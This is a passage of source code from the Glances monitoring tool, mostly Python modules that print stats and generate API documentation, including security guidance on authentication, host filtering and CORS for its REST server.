self.plugins_list:\n            # Check if the plugin exist and is enable\n            if plugin in stats.getPluginsList() and stats.get_plugin(plugin).is_enabled():\n                stat = stats.get_plugin(plugin).get_export()\n            else:\n                continue\n\n            # Display stats\n            if attribute is not None:\n                # With attribute\n                if isinstance(stat, dict):\n                    try:\n                        printandflush(f\"{plugin}.{attribute}: {stat[attribute]}\")\n                    except KeyError as err:\n                        logger.error(f\"Can not display stat {plugin}.{attribute} ({err})\")\n                elif isinstance(stat, list):\n                    for i in stat:\n                        if key is None:\n                            i_key = i[i['key']]\n                        elif str(key) == str(i[i['key']]):\n                            i_key = key\n                        else:\n                            continue\n                        try:\n                            printandflush(f\"{plugin}.{i_key}.{attribute}: {i[attribute]}\")\n                        except KeyError as err:\n                            logger.error(f\"Can not display stat {plugin}.{attribute} ({err})\")\n            else:\n                # Without attribute\n                printandflush(f\"{plugin}: {stat}\")\n\n        # Wait until next refresh\n        if duration > 0:\n            time.sleep(duration)\n"
  },
  {
    "path": "glances/outputs/glances_stdout_api_doc.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Generate Glances Python API documentation.\"\"\"\n\nfrom pprint import pformat\n\nfrom glances import api\n\nAPIDOC_HEADER = \"\"\"\\\n.. _api:\n\nPython API documentation\n========================\n\nThis documentation describes the Glances Python API.\n\nNote: This API is only available in Glances 4.4.0 or higher.\n\n\"\"\"\n\n\ndef printtab(s, indent='    '):\n    print(indent + s.replace('\\n', '\\n' + indent))\n\n\ndef print_tldr(gl):\n    \"\"\"Print the TL;DR section of the API documentation.\"\"\"\n    sub_title = 'TL;DR'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('You can access the Glances API by importing the `glances.api` module and creating an')\n    print('instance of the `GlancesAPI` class. This instance provides access to all Glances plugins')\n    print('and their fields. For example, to access the CPU plugin and its total field, you can')\n    print('use the following code:')\n    print('')\n    print('.. code-block:: python')\n    print('')\n    printtab('>>> from glances import api')\n    printtab('>>> gl = api.GlancesAPI()')\n    printtab('>>> gl.cpu')\n    printtab(f'{pformat(gl.cpu.stats)}')\n    printtab('>>> gl.cpu.get(\"total\")')\n    printtab(f'{gl.cpu.get(\"total\")}')\n    printtab('>>> gl.mem.get(\"used\")')\n    printtab(f'{gl.mem.get(\"used\")}')\n    printtab('>>> gl.auto_unit(gl.mem.get(\"used\"))')\n    printtab(f'{gl.auto_unit(gl.mem.get(\"used\"))}')\n    print('')\n    print('If the stats return a list of items (like network interfaces or processes), you can')\n    print('access them by their name:')\n    print('')\n    print('.. code-block:: python')\n    print('')\n    printtab('>>> gl.network.keys()')\n    printtab(f'{gl.network.keys()}')\n    printtab(f'>>> gl.network[\"{gl.network.keys()[0]}\"]')\n    printtab(f'{pformat(gl.network[gl.network.keys()[0]])}')\n    print('')\n\n\ndef print_init_api(gl):\n    sub_title = 'Init Glances Python API'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('Init the Glances API:')\n    print('')\n    print('.. code-block:: python')\n    print('')\n    printtab('>>> from glances import api')\n    printtab('>>> gl = api.GlancesAPI()')\n    print('')\n\n\ndef print_plugins_list(gl):\n    sub_title = 'Get Glances plugins list'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('Get the plugins list:')\n    print('')\n    print('.. code-block:: python')\n    print('')\n    printtab('>>> gl.plugins()')\n    printtab(f'{gl.plugins()}')\n    print('')\n\n\ndef print_plugin(gl, plugin):\n    \"\"\"Print the details of a single plugin.\"\"\"\n    sub_title = f'Glances {plugin}'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n\n    stats_obj = gl.__getattr__(plugin)\n\n    print(f'{plugin.capitalize()} stats:')\n    print('')\n    print('.. code-block:: python')\n    print('')\n    printtab(f'>>> type(gl.{plugin})')\n    printtab(f'{type(stats_obj)}')\n    if len(stats_obj.keys()) > 0 and isinstance(stats_obj[stats_obj.keys()[0]], dict):\n        printtab(f'>>> gl.{plugin}')\n        printtab(f'Return a dict of dict with key=<{stats_obj[stats_obj.keys()[0]][\"key\"]}>')\n        printtab(f'>>> gl.{plugin}.keys()')\n        printtab(f'{stats_obj.keys()}')\n        printtab(f'>>> gl.{plugin}.get(\"{stats_obj.keys()[0]}\")')\n        printtab(f'{pformat(stats_obj[stats_obj.keys()[0]])}')\n    else:\n        printtab(f'>>> gl.{plugin}')\n        printtab(f'{pformat(stats_obj.stats)}')\n        if len(stats_obj.keys()) > 0:\n            printtab(f'>>> gl.{plugin}.keys()')\n            printtab(f'{stats_obj.keys()}')\n            printtab(f'>>> gl.{plugin}.get(\"{stats_obj.keys()[0]}\")')\n            printtab(f'{pformat(stats_obj[stats_obj.keys()[0]])}')\n    print('')\n\n    if stats_obj.fields_description is not None:\n        print(f'{plugin.capitalize()} fields description:')\n        print('')\n        for field, description in stats_obj.fields_description.items():\n            print(f'* {field}: {description[\"description\"]}')\n        print('')\n\n    print(f'{plugin.capitalize()} limits:')\n    print('')\n    print('.. code-block:: python')\n    print('')\n    printtab(f'>>> gl.{plugin}.limits')\n    printtab(f'{pformat(gl.__getattr__(plugin).limits)}')\n    print('')\n\n\ndef print_plugins(gl):\n    \"\"\"Print the details of all plugins.\"\"\"\n    for plugin in [p for p in gl.plugins() if p not in ['help', 'programlist']]:\n        print_plugin(gl, plugin)\n\n\ndef print_auto_unit(gl):\n    sub_title = 'Use auto_unit to display a human-readable string with the unit'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('Use auto_unit() function to generate a human-readable string with the unit:')\n    print('')\n    print('.. code-block:: python')\n    print('')\n    printtab('>>> gl.mem.get(\"used\")')\n    printtab(f'{gl.mem.get(\"used\")}')\n    print('')\n    printtab('>>> gl.auto_unit(gl.mem.get(\"used\"))')\n    printtab(f'{gl.auto_unit(gl.mem.get(\"used\"))}')\n    print('')\n    print(\"\"\"\nArgs:\n\n    number (float or int): The numeric value to be converted.\n\n    low_precision (bool, optional): If True, use lower precision for the output. Defaults to False.\n\n    min_symbol (str, optional): The minimum unit symbol to use (e.g., 'K' for kilo). Defaults to 'K'.\n\n    none_symbol (str, optional): The symbol to display if the number is None. Defaults to '-'.\n\nReturns:\n\n    str: A human-readable string representation of the number with units.\n\n\"\"\")\n\n\ndef print_bar(gl):\n    sub_title = 'Use to display stat as a bar'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('Use bar() function to generate a bar:')\n    print('')\n    print('.. code-block:: python')\n    print('')\n    printtab('>>> gl.bar(gl.mem[\"percent\"])')\n    printtab(f'{gl.bar(gl.mem.get(\"percent\"))}')\n    print('')\n    print(\"\"\"\nArgs:\n\n    value (float): The percentage value to represent in the bar (typically between 0 and 100).\n\n    size (int, optional): The total length of the bar in characters. Defaults to 18.\n\n    bar_char (str, optional): The character used to represent the filled portion of the bar. Defaults to '■'.\n\n    empty_char (str, optional): The character used to represent the empty portion of the bar. Defaults to '□'.\n\n    pre_char (str, optional): A string to prepend to the bar. Defaults to ''.\n\n    post_char (str, optional): A string to append to the bar. Defaults to ''.\n\nReturns:\n\n    str: A string representing the progress bar.\n\n\"\"\")\n\n\ndef print_top_process(gl):\n    sub_title = 'Use to display top process list'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('Use top_process() function to generate a list of top processes sorted by CPU or MEM usage:')\n    print('')\n    print('.. code-block:: python')\n    print('')\n    printtab('>>> gl.top_process()')\n    printtab(f'{gl.top_process()}')\n    print('')\n    print(\"\"\"\nArgs:\n\n    limit (int, optional): The maximum number of top processes to return. Defaults to 3.\n\n    sorted_by (str, optional): The primary key to sort processes by (e.g., 'cpu_percent').\n                                Defaults to 'cpu_percent'.\n\n    sorted_by_secondary (str, optional): The secondary key to sort processes by if primary keys are equal\n                                            (e.g., 'memory_percent'). Defaults to 'memory_percent'.\n\nReturns:\n\n    list: A list of dictionaries representing the top processes, excluding those with 'glances' in their\n            command line.\n\nNote:\n\n    The 'glances' process is excluded from the returned list to avoid self-generated CPU load affecting\n    the results.\n\n\"\"\")\n\n\nclass GlancesStdoutApiDoc:\n    \"\"\"This class manages the fields description display.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        # Init\n        self.gl = api.GlancesAPI()\n\n    def end(self):\n        pass\n\n    def update(self, stats, duration=1):\n        \"\"\"Display issue\"\"\"\n        # Display header\n        print(APIDOC_HEADER)\n\n        # Display TL;DR section\n        print_tldr(self.gl)\n\n        # Init the API\n        print_init_api(self.gl)\n\n        # Display plugins list\n        print_plugins_list(self.gl)\n\n        # Loop over plugins\n        print_plugins(self.gl)\n\n        # Others helpers\n        print_auto_unit(self.gl)\n        print_bar(self.gl)\n        print_top_process(self.gl)\n\n        # Return True to exit directly (no refresh)\n        return True\n"
  },
  {
    "path": "glances/outputs/glances_stdout_api_restful_doc.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Generate Glances Restful API documentation.\"\"\"\n\nimport json\nimport time\nfrom pprint import pformat\n\nfrom glances import __apiversion__\nfrom glances.logger import logger\n\nAPI_URL = f\"http://localhost:61208/api/{__apiversion__}\"\n\nAPIDOC_HEADER = f\"\"\"\\\n.. _api_restful:\n\nRestful/JSON API documentation\n==============================\n\nThis documentation describes the Glances API version {__apiversion__} (Restful/JSON) interface.\n\nAn OpenAPI specification file is available at:\n``https://raw.githubusercontent.com/nicolargo/glances/refs/heads/develop/docs/api/openapi.json``\n\nRun the Glances API server\n--------------------------\n\nThe Glances Restful/API server could be ran using the following command line:\n\n.. code-block:: bash\n\n    # glances -w --disable-webui\n\nIt is also ran automatically when Glances is started in Web server mode (-w).\n\nIf you want to enable the Glances Central Browser, use:\n\n.. code-block:: bash\n\n    # glances -w --browser --disable-webui\n\nAPI URL\n-------\n\nThe default root API URL is ``http://localhost:61208/api/{__apiversion__}``.\n\nThe bind address and port could be changed using the ``--bind`` and ``--port`` command line options.\n\nIt is also possible to define an URL prefix using the ``url_prefix`` option from the [outputs] section\nof the Glances configuration file.\n\nNote: The url_prefix should always end with a slash (``/``).\n\nFor example:\n\n.. code-block:: ini\n\n    [outputs]\n    url_prefix = /glances/\n\nwill change the root API URL to ``http://localhost:61208/glances/api/{__apiversion__}`` and the Web UI URL to\n``http://localhost:61208/glances/``\n\nAPI documentation URL\n---------------------\n\nThe API documentation is embeded in the server and available at the following URL:\n``http://localhost:61208/docs#/``.\n\nAuthentication\n--------------\n\nGlances API supports both HTTP Basic authentication and JWT (JSON Web Token) Bearer authentication.\n\nTo enable authentication, start Glances with the ``--password`` option.\n\nTo generate a new login/password pair, use the following command:\n\n.. code-block:: bash\n\n    glances -w --username\n    > Enter new username: foo\n    > Enter new password: ********\n    > Confirm new password: ********\n    > User 'username' created/updated successfully.\n\nTo reuse an existing login/password pair, start Glances with the ``-u <user>`` option:\n\n.. code-block:: bash\n\n    glances -w -u foo\n\nJWT Token Authentication\n~~~~~~~~~~~~~~~~~~~~~~~~\n\nJWT authentication requires the ``python-jose`` library to be installed.\n\n**Step 1: Get a JWT Token**\n\nRequest a token by sending your credentials to the token endpoint:\n\n.. code-block:: bash\n\n    curl -X POST http://localhost:61208/api/{__apiversion__}/token \\\\\n      -H \"Content-Type: application/json\" \\\\\n      -d '{{\"username\": \"your_username\", \"password\": \"your_password\"}}'\n\nThis will return a response like:\n\n.. code-block:: json\n\n    {{\n      \"access_token\": \"...\",\n      \"token_type\": \"bearer\",\n      \"expires_in\": 3600\n    }}\n\n**Step 2: Use the Token**\n\nUse the token in the Authorization header with Bearer authentication:\n\n.. code-block:: bash\n\n    # Store the token in a variable\n    TOKEN=\"your_access_token_here\"\n\n    # Access a protected endpoint\n    curl -H \"Authorization: Bearer $TOKEN\" \\\\\n      http://localhost:61208/api/{__apiversion__}/cpu\n\n**Complete Example:**\n\n.. code-block:: bash\n\n    # Get token and extract access_token\n    TOKEN=$(curl -s -X POST http://localhost:61208/api/{__apiversion__}/token \\\\\n      -H \"Content-Type: application/json\" \\\\\n      -d '{{\"username\": \"glances\", \"password\": \"mypassword\"}}' \\\\\n      | grep -o '\"access_token\":\"[^\"]*\"' \\\\\n      | cut -d'\"' -f4)\n\n    # Use the token to get CPU stats\n    curl -H \"Authorization: Bearer $TOKEN\" \\\\\n      http://localhost:61208/api/{__apiversion__}/cpu\n\n**Configuration:**\n\nYou can configure JWT settings in the Glances configuration file:\n\n.. code-block:: ini\n\n    [outputs]\n    # JWT secret key (if not set, a random key will be generated)\n    jwt_secret_key = your-secret-key-here\n    # JWT token expiration in minutes (default: 60)\n    jwt_expire_minutes = 60\n\n**Note:** The token endpoint (``/api/{__apiversion__}/token``) does not require authentication.\nProtected endpoints support both Bearer token and Basic Auth authentication methods.\n\n.. _security:\n\nSecurity\n--------\n\nBy default, Glances web server runs **without authentication** and binds to\n**all network interfaces** (``0.0.0.0``). This means any client that can reach\nthe server on the network can access the full REST API, including sensitive\nsystem information such as process command-lines, which may contain credentials\n(passwords, API keys, tokens passed as arguments).\n\nThis default is intentional for ease of use on private, trusted networks (home\nlabs, local machines, internal infrastructure). However, if your Glances\ninstance is reachable from untrusted networks, you should take the following\nprecautions:\n\n**Enable authentication** by starting Glances with the ``--password`` option:\n\n.. code-block:: bash\n\n    glances -w --password\n\n**Bind to localhost only** if remote access is not needed:\n\n.. code-block:: bash\n\n    glances -w --bind 127.0.0.1\n\n**Enable DNS rebinding protection** by setting ``webui_allowed_hosts`` in\n``glances.conf``. This restricts the HTTP ``Host`` header values accepted by the\nweb server. Without this setting, a DNS rebinding attack could allow an\nuntrusted web page to read the REST API from a victim's browser on the same\nnetwork, even without direct network access to the Glances instance.\n\n.. code-block:: ini\n\n    [outputs]\n    # Comma-separated list of allowed hostnames/IPs.\n    # Wildcards are supported (e.g. *.example.com).\n    webui_allowed_hosts=localhost,127.0.0.1,myserver.example.com\n\nWhen ``webui_allowed_hosts`` is set, requests with a ``Host`` header not in the\nlist are rejected with ``400 Bad Request``. When absent or commented out\n(the default), no host filtering is applied.\n\n**Use a reverse proxy** (nginx, Caddy, Apache) with TLS and authentication for\nany public-facing or semi-public deployment. This is the recommended approach\nfor production environments.\n\n.. code-block:: ini\n\n    # Example: restrict bind to localhost, access via reverse proxy\n    # In glances.conf:\n    [outputs]\n    # Bind to localhost, let the reverse proxy handle external access\n    # then configure your reverse proxy to forward to 127.0.0.1:61208\n    webui_allowed_hosts=localhost,127.0.0.1\n\n.. note::\n\n    The bind address (``0.0.0.0`` by default) controls which network interfaces\n    the server listens on, but it is **not a security boundary**. For\n    deployments on non-loopback interfaces, always set ``webui_allowed_hosts``\n    and consider enabling authentication.\n\n**CORS (Cross-Origin Resource Sharing)** controls which external websites can\nmake requests to the Glances API from a browser. By default, Glances allows\nrequests from any origin (``cors_origins=*``) but does **not** allow credentials\n(``cors_credentials=False``). This means cross-origin requests work for\nunauthenticated API access, but browsers will not send stored credentials\n(e.g. Basic Auth) to the API from a third-party page.\n\nIf you need credentialed cross-origin access (e.g. a separate dashboard\napplication that authenticates to Glances), you **must** configure explicit\norigins — the wildcard ``*`` combined with credentials is insecure and will be\nautomatically rejected:\n\n.. code-block:: ini\n\n    [outputs]\n    cors_origins=https://my-dashboard.internal.example.com\n    cors_credentials=True\n\n.. warning::\n\n    Setting ``cors_credentials=True`` with ``cors_origins=*`` is not allowed.\n    Glances will automatically disable credentials and log a warning if this\n    combination is detected. This prevents a class of cross-site data theft\n    attacks where any website could read your monitoring data.\n\nWhen Glances is started without authentication or without host filtering,\nwarning messages are displayed at startup to remind you of the risks.\n\nWebUI refresh\n-------------\n\nIt is possible to change the Web UI refresh rate (default is 2 seconds) using the following option in the URL:\n``http://localhost:61208/?refresh=5``\n\n\"\"\"\n\n\ndef indent_stat(stat, indent='    '):\n    # Indent stats to pretty print it\n    if isinstance(stat, list) and len(stat) > 1 and isinstance(stat[0], dict):\n        # Only display two first items\n        return indent + pformat(stat[0:2]).replace('\\n', '\\n' + indent).replace(\"'\", '\"')\n    return indent + pformat(stat).replace('\\n', '\\n' + indent).replace(\"'\", '\"')\n\n\ndef print_api_status():\n    sub_title = 'GET API status'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('This entry point should be used to check the API status.')\n    print('It will the Glances version and a 200 return code if everything is OK.')\n    print('')\n    print('Get the Rest API status::')\n    print('')\n    print(f'    # curl -I {API_URL}/status')\n    print(indent_stat('HTTP/1.0 200 OK'))\n    print('')\n\n\ndef print_plugins_list(stat):\n    sub_title = 'GET plugins list'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('Get the plugins list::')\n    print('')\n    print(f'    # curl {API_URL}/pluginslist')\n    print(indent_stat(stat))\n    print('')\n\n\ndef print_plugin_stats(plugin, stat):\n    sub_title = f'GET {plugin}'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n\n    print('Get plugin stats::')\n    print('')\n    print(f'    # curl {API_URL}/{plugin}')\n    print(indent_stat(json.loads(stat.get_stats())))\n    print('')\n\n\ndef print_plugin_description(plugin, stat):\n    if stat.fields_description:\n        # For each plugins with a description\n        print('Fields descriptions:')\n        print('')\n        time_since_update = False\n        for field, description in stat.fields_description.items():\n            print(\n                '* **{}**: {} (unit is *{}*)'.format(\n                    field,\n                    (\n                        description['description'][:-1]\n                        if description['description'].endswith('.')\n                        else description['description']\n                    ),\n                    description['unit'] if 'unit' in description else 'None',\n                )\n            )\n            if 'rate' in description and description['rate']:\n                time_since_update = True\n                print(\n                    '* **{}**: {} (unit is *{}* per second)'.format(\n                        field + '_rate_per_sec',\n                        (\n                            description['description'][:-1]\n                            if description['description'].endswith('.')\n                            else description['description']\n                        )\n                        + ' per second',\n                        description['unit'] if 'unit' in description else 'None',\n                    )\n                )\n                print(\n                    '* **{}**: {} (unit is *{}*)'.format(\n                        field + '_gauge',\n                        (\n                            description['description'][:-1]\n                            if description['description'].endswith('.')\n                            else description['description']\n                        )\n                        + ' (cumulative)',\n                        description['unit'] if 'unit' in description else 'None',\n                    )\n                )\n\n        if time_since_update:\n            print(\n                '* **{}**: {} (unit is *{}*)'.format(\n                    'time_since_update', 'Number of seconds since last update', 'seconds'\n                )\n            )\n\n        print('')\n    else:\n        logger.error(f'No fields_description variable defined for plugin {plugin}')\n\n\ndef print_plugin_item_value(plugin, stat, stat_export):\n    item = None\n    value = None\n    if isinstance(stat_export, dict):\n        item = list(stat_export.keys())[0]\n        value = None\n    elif isinstance(stat_export, list) and len(stat_export) > 0 and isinstance(stat_export[0], dict):\n        if 'key' in stat_export[0]:\n            item = stat_export[0]['key']\n        else:\n            item = list(stat_export[0].keys())[0]\n    if item and stat.get_stats_item(item):\n        stat_item = json.loads(stat.get_stats_item(item))\n        if isinstance(stat_item[item], list):\n            value = stat_item[item][0]\n        else:\n            value = stat_item[item]\n        print('Get a specific field::')\n        print('')\n        print(f'    # curl {API_URL}/{plugin}/{item}')\n        print(indent_stat(stat_item))\n        print('')\n    if item and value and stat.get_stats_value(item, value):\n        print('Get a specific item when field matches the given value::')\n        print('')\n        print(f'    # curl {API_URL}/{plugin}/{item}/value/{value}')\n        print(indent_stat(json.loads(stat.get_stats_value(item, value))))\n        print('')\n\n\ndef print_all():\n    sub_title = 'GET all stats'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('Get all Glances stats::')\n    print('')\n    print(f'    # curl {API_URL}/all')\n    print('    Return a very big dictionary with all stats')\n    print('')\n    print('Note: Update is done automatically every time /all or /<plugin> is called.')\n    print('')\n\n\ndef print_processes():\n    sub_title = 'GET stats of a specific process'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('Get stats for process with PID == 777::')\n    print('')\n    print(f'    # curl {API_URL}/processes/777')\n    print('    Return stats for process (dict)')\n    print('')\n    print('Enable extended stats for process with PID == 777 (only one process at a time can be enabled)::')\n    print('')\n    print(f'    # curl -X POST {API_URL}/processes/extended/777')\n    print(f'    # curl {API_URL}/all')\n    print(f'    # curl {API_URL}/processes/777')\n    print('    Return stats for process (dict)')\n    print('')\n    print('Note: Update *is not* done automatically when you call /processes/<pid>.')\n    print('')\n\n\ndef print_top(stats):\n    time.sleep(1)\n    stats.update()\n    sub_title = 'GET top n items of a specific plugin'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('Get top 2 processes of the processlist plugin::')\n    print('')\n    print(f'    # curl {API_URL}/processlist/top/2')\n    print(indent_stat(stats.get_plugin('processlist').get_export()[:2]))\n    print('')\n    print('Note: Only work for plugin with a list of items')\n    print('')\n\n\ndef print_fields_info(stats):\n    sub_title = 'GET item description'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('Get item description (human readable) for a specific plugin/item::')\n    print('')\n    print(f'    # curl {API_URL}/diskio/read_bytes/description')\n    print(indent_stat(stats.get_plugin('diskio').get_item_info('read_bytes', 'description')))\n    print('')\n    print('Note: the description is defined in the fields_description variable of the plugin.')\n    print('')\n    sub_title = 'GET item unit'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('Get item unit for a specific plugin/item::')\n    print('')\n    print(f'    # curl {API_URL}/diskio/read_bytes/unit')\n    print(indent_stat(stats.get_plugin('diskio').get_item_info('read_bytes', 'unit')))\n    print('')\n    print('Note: the description is defined in the fields_description variable of the plugin.')\n    print('')\n\n\ndef print_history(stats):\n    time.sleep(1)\n    stats.update()\n    time.sleep(1)\n    stats.update()\n    sub_title = 'GET stats history'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('History of a plugin::')\n    print('')\n    print(f'    # curl {API_URL}/cpu/history')\n    print(indent_stat(json.loads(stats.get_plugin('cpu').get_stats_history(nb=3))))\n    print('')\n    print('Limit history to last 2 values::')\n    print('')\n    print(f'    # curl {API_URL}/cpu/history/2')\n    print(indent_stat(json.loads(stats.get_plugin('cpu').get_stats_history(nb=2))))\n    print('')\n    print('History for a specific field::')\n    print('')\n    print(f'    # curl {API_URL}/cpu/system/history')\n    print(indent_stat(json.loads(stats.get_plugin('cpu').get_stats_history('system'))))\n    print('')\n    print('Limit history for a specific field to last 2 values::')\n    print('')\n    print(f'    # curl {API_URL}/cpu/system/history')\n    print(indent_stat(json.loads(stats.get_plugin('cpu').get_stats_history('system', nb=2))))\n    print('')\n\n\ndef print_limits(stats):\n    sub_title = 'GET limits (used for thresholds)'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('All limits/thresholds::')\n    print('')\n    print(f'    # curl {API_URL}/all/limits')\n    print(indent_stat(stats.getAllLimitsAsDict()))\n    print('')\n    print('Limits/thresholds for the cpu plugin::')\n    print('')\n    print(f'    # curl {API_URL}/cpu/limits')\n    print(indent_stat(stats.get_plugin('cpu').limits))\n    print('')\n\n\ndef print_plugin_post_events():\n    sub_title = 'POST clear events'\n    print(sub_title)\n    print('-' * len(sub_title))\n    print('')\n    print('Clear all alarms from the list::')\n    print('')\n    print(f'    # curl -H \"Content-Type: application/json\" -X POST {API_URL}/events/clear/all')\n    print('')\n    print('Clear warning alarms from the list::')\n    print('')\n    print(f'    # curl -H \"Content-Type: application/json\" -X POST {API_URL}/events/clear/warning')\n    print('')\n\n\nclass GlancesStdoutApiRestfulDoc:\n    \"\"\"This class manages the fields description display.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        # Init\n        self.config = config\n        self.args = args\n\n    def end(self):\n        pass\n\n    def update(self, stats, duration=1):\n        \"\"\"Display issue\"\"\"\n\n        # Display header\n        print(APIDOC_HEADER)\n\n        # Display API status\n        print_api_status()\n\n        # Display plugins list\n        print_plugins_list(sorted(stats._plugins))\n\n        # Loop over plugins\n        for plugin in sorted(stats._plugins):\n            stat = stats.get_plugin(plugin)\n            print_plugin_stats(plugin, stat)\n            print_plugin_description(plugin, stat)\n            if plugin == 'alert':\n                print_plugin_post_events()\n\n            stat_export = stat.get_export()\n            if stat_export is None or stat_export == [] or stat_export == {}:\n                continue\n            print_plugin_item_value(plugin, stat, stat_export)\n\n        # Get all stats\n        print_all()\n\n        # Get process stats\n        print_processes()\n\n        # Get top stats (only for plugins with a list of items)\n        # Example for processlist plugin: get top 2 processes\n        print_top(stats)\n\n        # Fields description\n        print_fields_info(stats)\n\n        # History\n        print_history(stats)\n\n        # Limits\n        print_limits(stats)\n\n        # Return True to exit directly (no refresh)\n        return True\n"
  },
  {
    "path": "glances/outputs/glances_stdout_csv.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"StdoutCsv interface class.\"\"\"\n\nimport time\n\nfrom glances.globals import printandflush\n\n\nclass GlancesStdoutCsv:\n    \"\"\"This class manages the StdoutCsv display.\"\"\"\n\n    separator = ','\n    na = 'N/A'\n\n    def __init__(self, config=None, args=None):\n        # Init\n        self.config = config\n        self.args = args\n\n        # Display the header only on the first line\n        self.header = True\n\n        # Build the list of plugin and/or plugin.attribute to display\n        self.plugins_list = self.build_list()\n\n    def build_list(self):\n        \"\"\"Return a list of tuples taken from self.args.stdout\n\n        :return: A list of tuples. Example -[(plugin, attribute), ... ]\n        \"\"\"\n        ret = []\n        for p in self.args.stdout_csv.split(','):\n            if '.' in p:\n                p, a = p.split('.')\n            else:\n                a = None\n            ret.append((p, a))\n        return ret\n\n    def end(self):\n        pass\n\n    def build_header(self, plugin, attribute, stat):\n        \"\"\"Build and return the header line\"\"\"\n        line = ''\n\n        if attribute is not None:\n            line += f'{plugin}.{attribute}{self.separator}'\n        else:\n            if isinstance(stat, dict):\n                for k in stat:\n                    line += f'{plugin}.{str(k)}{self.separator}'\n            elif isinstance(stat, list):\n                for i in stat:\n                    if isinstance(i, dict) and 'key' in i:\n                        for k in i:\n                            line += '{}.{}.{}{}'.format(plugin, str(i[i['key']]), str(k), self.separator)\n            else:\n                line += f'{plugin}{self.separator}'\n\n        return line\n\n    def build_data(self, plugin, attribute, stat):\n        \"\"\"Build and return the data line\"\"\"\n        line = ''\n\n        if attribute is not None:\n            line += f'{str(stat.get(attribute, self.na))}{self.separator}'\n        else:\n            if isinstance(stat, dict):\n                for v in stat.values():\n                    line += f'{str(v)}{self.separator}'\n            elif isinstance(stat, list):\n                for i in stat:\n                    if isinstance(i, dict) and 'key' in i:\n                        for v in i.values():\n                            line += f'{str(v)}{self.separator}'\n            else:\n                line += f'{str(stat)}{self.separator}'\n\n        return line\n\n    def update(self, stats, duration=3, cs_status=None, return_to_browser=False):\n        \"\"\"Display stats to stdout.\n\n        Refresh every duration second.\n        \"\"\"\n        # Build the stats list\n        line = ''\n        for plugin, attribute in self.plugins_list:\n            # Check if the plugin exist and is enable\n            if plugin in stats.getPluginsList() and stats.get_plugin(plugin).is_enabled():\n                stat = stats.get_plugin(plugin).get_export()\n            else:\n                continue\n\n            # Build the line to display (header or data)\n            if self.header:\n                line += self.build_header(plugin, attribute, stat)\n            else:\n                line += self.build_data(plugin, attribute, stat)\n\n        # Display the line (without the last 'separator')\n        printandflush(line[:-1])\n\n        # Display header one time\n        self.header = False\n\n        # Wait until next refresh\n        if duration > 0:\n            time.sleep(duration)\n"
  },
  {
    "path": "glances/outputs/glances_stdout_fetch.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Fetch mode interface class.\"\"\"\n\nimport jinja2\n\nfrom glances import api\nfrom glances.logger import logger\n\nDEFAULT_FETCH_TEMPLATE = \"\"\"\n\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n✨ {{ gl.system['hostname'] }}{{ ' | ' + gl.ip['address'] if gl.ip['address'] else '' }} | Uptime: {{ gl.uptime }}\n⚙️  {{ gl.system['hr_name'] }}\n\n💡 LOAD     {{ '%0.2f'| format(gl.load['min1']) }}/min1 |\\\n {{ '%0.2f'| format(gl.load['min5']) }}/min5 |\\\n {{ '%0.2f'| format(gl.load['min15']) }}/min15\n⚡ CPU      {{ gl.bar(gl.cpu['total']) }} {{ gl.cpu['total'] }}% of {{ gl.core['log'] }} cores\n🧠 MEM      {{ gl.bar(gl.mem['percent']) }} {{ gl.mem['percent'] }}% ({{ gl.auto_unit(gl.mem['used']) }} /\\\n {{ gl.auto_unit(gl.mem['total']) }})\n{% for fs in gl.fs.keys() %}\\\n💾 {% if loop.index == 1 %}DISK{% else %}    {% endif %}\\\n     {{ gl.bar(gl.fs[fs]['percent']) }} {{ gl.fs[fs]['percent'] }}% ({{ gl.auto_unit(gl.fs[fs]['used']) }} /\\\n {{ gl.auto_unit(gl.fs[fs]['size']) }}) for {{ fs }}\n{% endfor %}\\\n{% for net in gl.network.keys() %}\\\n📡 {% if loop.index == 1 %}NET{% else %}   {% endif %}\\\n      ↓ {{ gl.auto_unit(gl.network[net]['bytes_recv_rate_per_sec']) }}b/s\\\n ↑ {{ gl.auto_unit(gl.network[net]['bytes_sent_rate_per_sec']) }}b/s for {{ net }}\n{% endfor %}\\\n\n🔥 TOP PROCESS by CPU\n{% for process in gl.top_process() %}\\\n{{ loop.index }}️⃣ {{ process['name'][:20] }}{{ ' ' * (20 - process['name'][:20] | length) }}\\\n    ⚡ {{ process['cpu_percent'] }}% CPU\\\n{{ ' ' * (8 - (gl.auto_unit(process['cpu_percent']) | length)) }}\\\n    🧠 {{ 